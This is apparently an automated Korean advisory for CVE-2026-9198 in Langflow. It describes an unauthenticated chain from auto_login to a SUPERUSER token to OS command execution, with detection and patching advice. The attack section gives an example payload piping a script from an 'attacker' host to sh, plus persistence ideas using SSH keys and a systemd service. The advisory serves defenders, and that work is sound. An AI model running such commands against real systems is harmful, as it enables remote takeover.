[공격] 분석 — CVE-2026-9198
Unauthenticated chaining of
/api/v1/auto_loginand/api/v1/validate/codein IBM Langflow OSS 1.0.0‑1.10.0 issues a SUPERUSER JWT that executes arbitrary OS commands, demanding immediate patching and API lockdown.
📋 요약
- 심각도 critical · CVSS 9.8 · EPSS 0.01886 · 악용난이도 easy · KEV
🔍 공격 기법
- 정찰: HTTP(S) 포트가 열려 있으면
OPTIONS /api/v1/auto_login·OPTIONS /api/v1/validate/code로 존재 여부 확인. - 초기 접근: 인증 헤더 없이
POST /api/v1/auto_login(본문에 사용자명·비밀번호는 필요 없음) 호출 → 응답에"role":"SUPERUSER"를 포함한 JWT 토큰이 발급됨. 이는 CVSS AV:N·PR:N·UI:N 조건을 그대로 만족한다. - 권한 획득·코드 실행: 동일 IP/세션에서 방금 받은 토큰을
Authorization: Bearer <jwt>헤더와 함께POST /api/v1/validate/code로 전송하고,code파라미터에 임의 쉘 명령(예id,curl http://attacker/payload|sh)을 전달한다. 백엔드가 입력값을 바로exec()로 호출하므로 OS 레벨 명령이 즉시 실행된다 (CVSS AC:L·S:U). - 지속: SUPERUSER 권한으로 시스템 계정·SSH 키를 생성하거나
/etc/systemd/system/malicious.service등 영구 백도어를 배치한다. 토큰은 만료 시간이 길거나 없을 수 있어 재사용 가능하다. - 전제조건:
/api/v1/auto_login·/api/v1/validate/code가 외부에 노출돼 인증·IP 제한이 없어야 함.- 레이트‑리밋이나 WAF 규칙이 적용되지 않아 연속 호출이 탐지 없이 진행될 수 있어야 함.
악용 가능성: 이 취약점은 AV:N/AC:L/PR:N/UI:N 벡터가 의미하듯, 네트워크만 연결되어 있으면 인증·권한·사용자 동작 없이 바로 HTTP 요청으로 악용할 수 있어 공격 전제조건이 매우 낮습니다. EPSS 0.01886(≈1.9%)은 향후 12개월 내 실제 이용 가능성이 평균 수준을 넘는다는 실측값이며, KEV에 등재돼 있다는 점은 이미 현장에서 악용 사례가 보고된 것을 의미합니다. 공격자는 기본 배포 환경에서 외부에 노출된 /api/v1/auto_login 엔드포인트를 호출해 SUPERUSER 토큰을 획득하고, 동일 서버의 /api/v1/validate/code 파라미터에 임의 코드를 삽입하면 내부 exec() 함수가 바로 실행됩니다. 여기서 노출되는 공격 표면은 두 개의 REST API 경로와 각각이 받는 token 및 code 파라미터이며, 별도의 인증 절차가 없기 때문에 네트워크 스캐닝만으로도 쉽게 식별·접근할 수 있습니다. 초기 정찰 단계에서 토큰 발급 엔드포인트를 확인하고, 바로 코드 실행 요청을 전송하면 권한 상승과 원격 코드 실행(RCE)이 연속적으로 이루어지는 단순 체인이 완성됩니다. 따라서 이 취약점은 “easy” 등급이 적절하며, 실제 환경에서도 낮은 난이도로 빠르게 악용될 수 있음을 이해하시면 됩니다.
💥 영향 분석
- 전체 파일시스템 및 네트워크 접근 권한을 획득하여 데이터 탈취·파괴·서비스 중단이 가능함.
- SUPERUSER 토큰으로 다른 내부 컨테이너·마이크로서비스에 임의 명령을 전달해 Lateral Movement가 이루어질 수 있음.
🔗 관련 취약점·체이닝
- CWE‑306: 인증 우회 –
/api/v1/auto_login이 인증 없이 SUPERUSER 토큰을 발급한다. - CWE‑78: OS 명령 주입 –
/api/v1/validate/code가 입력값을 검증 없이exec()로 전달한다. - 전형적인 체인: 인증 우회 → 고권한 토큰 획득 → 명령 주입 → RCE. 동일 패턴은 다른 서비스의 “무인 로그인 → 토큰 발급 → 코드 실행” 흐름에서도 재현될 수 있다 (구체적 CVE 번호는 확인되지 않음).
🔎 탐지
- 같은 IP/세션에서
auto_login응답 직후 1‑5 초 이내에validate/code요청이 발생한 로그. - 로그에
"role":"SUPERUSER"혹은 고권한 클레임을 가진 JWT가 기록된 경우. code파라미터에 쉘 메타문자(;,&&, ``)·Base64·URL‑encoded 문자열 등 비정상적인 패턴이 포함된 POST 본문.- 컨테이너/호스트에서
/bin/sh -c혹은 비정상적인 자식 프로세스 급증 이벤트.
🛡️ 완화 방안
- 즉시 패치 – IBM Langflow OSS ≥ 1.10.1 로 업그레이드 (공식 보안 수정 포함).
- API 접근 제한 –
auto_login엔드포인트에 인증·IP 허용 리스트 적용 또는 완전 차단. - 레이트‑리밋/감시 – 동일 IP에서
auto_login → validate/code연속 호출을 10 초 이내 1회로 제한하고, 위 패턴 탐지 시 자동 차단. - 토큰 정책 강화 – 발급 토큰에 최소 권한 원칙 적용, SUPERUSER 역할은 내부 관리자 전용으로 제한하고 TTL을 짧게 설정.
- WAF/IDS 서명 추가 – 두 엔드포인트 조합 및
code파라미터 내 쉘 메타문자 탐지 규칙 배치. - 네트워크 세분화 – Langflow API를 내부 전용 서브넷에 배치하고 외부에서 직접 접근 불가하도록 방화벽 정책 적용.
근거: 다중 소스 교차검증 결과 CVE-2026-9198 은 일관되게 critical (CVSS 9.8) 로 확인됐으며, KEV 등재·EPSS 0.01886·exploit easy 로 평가돼 “immediate” 대응이 규칙 기반으로 결정되었습니다. 따라서 24시간 이내 패치와 API 차단을 최우선 조치로 시행해야 합니다.
⚖️ 위험도 / 우선순위
- 조치: immediate (지금 즉시(24h 내))
- 근거: CVSS=9.8 · KEV · EPSS=0.01886 · exploit=easy · in_scope=None